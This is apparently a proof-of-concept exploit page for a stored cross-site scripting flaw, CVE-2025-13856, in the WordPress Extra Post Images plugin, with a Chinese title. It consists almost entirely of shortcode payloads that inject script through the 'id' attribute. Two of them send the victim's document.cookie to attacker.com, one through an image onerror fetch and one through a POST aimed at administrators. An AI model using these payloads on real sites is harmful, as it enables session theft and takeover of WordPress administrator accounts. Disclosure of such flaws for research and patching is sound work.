CVE-2025-13856 WordPress Extra Post Images插件存储型XSS漏洞

<!-- WordPress Extra Post Images Plugin XSS PoC --> <!-- Author: Security Researcher --> <!-- Target: CVE-2025-13856 --> <!-- Basic XSS payload in extra-images shortcode --> [extra-images id='"><script>alert(document.cookie)</script>'] <!-- Alternative payload with event handler --> [extra-images id='123" onmouseover="alert(\'XSS\');'] <!-- Stealer payload to exfiltrate cookies --> [extra-images id='"><img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'] <!-- WordPress admin exploitation script --> [extra-images id='"><script>fetch("https://attacker.com/api/admin",{method:"POST",body:document.cookie})</script>']